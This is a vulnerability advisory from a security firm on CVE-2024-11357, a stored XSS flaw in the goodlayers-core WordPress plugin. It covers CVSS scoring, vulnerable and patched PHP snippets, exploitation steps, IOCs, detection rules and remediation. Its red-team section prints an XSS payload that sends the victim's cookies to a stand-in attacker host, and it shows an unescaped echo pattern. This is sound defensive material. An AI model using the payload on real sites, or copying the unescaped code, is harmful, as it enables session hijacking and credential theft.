CVE-2024-11357

Executive Summary

CVE-2024-11357 is a Stored Cross-Site Scripting (XSS) vulnerability in the goodlayers-core WordPress plugin before version 2.0.10. This flaw allows authenticated users with at least the Contributor role to inject arbitrary web scripts into plugin settings, which are then stored and executed in the browsers of other users (including administrators) when the settings page is viewed. The vulnerability arises from insufficient sanitization and escaping of user-supplied input within the plugin's settings fields. Successful exploitation could lead to session hijacking, credential theft, defacement, or redirection to malicious sites. As a WordPress plugin vulnerability, the attack surface is limited to WordPress installations using the affected plugin, and exploitation requires a valid user account with Contributor-level privileges or higher.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The supply chain risk is moderate, as the plugin is a third-party component added to the WordPress ecosystem. Users should verify the integrity of the plugin update by checking the plugin's changelog and ensuring the update is obtained from the official WordPress plugin directory or the vendor's site. No known malicious packages or compromised updates have been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not assigned; calculated as 5.4 Medium based on vector)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Requires Contributor-level access or higher.
• User Interaction (UI): Required – The victim must visit the affected settings page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the impact can be significant if an administrator is targeted.

Deep Dive & Mechanics

The vulnerability exists in the goodlayers-core plugin's settings page, where user-supplied input (e.g., plugin options, custom CSS, or other configuration fields) is not properly sanitized or escaped before being stored and later rendered in the WordPress admin panel. When a user with Contributor privileges or higher saves malicious JavaScript code into a vulnerable setting, that code is stored in the WordPress database. Subsequently, when an administrator or other user views the plugin's settings page, the stored script executes in their browser context.

The root cause is the lack of output escaping (e.g., using esc_html() or wp_kses_post()) when rendering the stored values in the admin interface. This allows an attacker to inject arbitrary HTML and JavaScript, bypassing WordPress's built-in security measures if the plugin does not use proper escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (before 2.0.10):

// Example of vulnerable code in settings page
echo '<input type="text" name="gdlr_custom_css" value="' . $option_value . '" />';

Here, $option_value is output directly without escaping, allowing XSS.

Patched Code (version 2.0.10):

// Patched code using esc_attr()
echo '<input type="text" name="gdlr_custom_css" value="' . esc_attr( $option_value ) . '" />';

The patched version uses esc_attr() to escape the value, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

1. Prerequisites: A WordPress site with the goodlayers-core plugin version < 2.0.10, and a user account with at least the Contributor role.

2. Steps:

   • Log in as a Contributor.
   • Navigate to the plugin's settings page (e.g., /wp-admin/admin.php?page=goodlayers-settings).
   • In a vulnerable input field (e.g., custom CSS or text area), inject a payload such as:

     <script>alert('XSS')</script>
     

   • Save the settings.
   • When an administrator visits the same settings page, the script executes.

3. Advanced Payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

Blue Team (Defensive)

1. Detection: Monitor for unusual changes to plugin settings, especially by non-admin users. Look for script tags or event handlers in settings fields.
2. Prevention: Ensure the plugin is updated to version 2.0.10 or later. Implement a Web Application Firewall (WAF) with rules to block common XSS patterns.
3. Response: If exploitation is suspected, review user activity logs, remove malicious settings, and reset compromised user sessions.

Indicators of Compromise (IOCs)

• File Indicators: Modified plugin settings in the WordPress database (e.g., wp_options table with option_name like gdlr_custom_css containing <script> tags).
• Network Indicators: Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel.
• Log Indicators: Unusual changes to plugin settings by Contributor-level users; repeated access to plugin settings pages.

Detection Engineering

YARA Rule

rule goodlayers_core_xss {
    meta:
        description = "Detects stored XSS payloads in goodlayers-core plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11357"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in goodlayers-core Plugin Settings
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS payloads in goodlayers-core plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url_path|contains: '/wp-admin/admin.php?page=goodlayers-settings'
        http.request_body|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom CSS fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11357 - Stored XSS in goodlayers-core Plugin Settings"; flow:to_server,established; content:"/wp-admin/admin.php?page=goodlayers-settings"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade the goodlayers-core plugin to version 2.0.10 or later.
2. Workaround: If immediate upgrade is not possible, restrict Contributor and Author roles from accessing plugin settings via custom capabilities or a security plugin.
3. Long-term: Implement a Content Security Policy (CSP) header to mitigate XSS impact. Regularly audit plugin code for security flaws.
4. Validation: After patching, verify that the plugin settings page no longer accepts or renders unescaped HTML/JavaScript.

Valters IT
Securing Digital Frontiers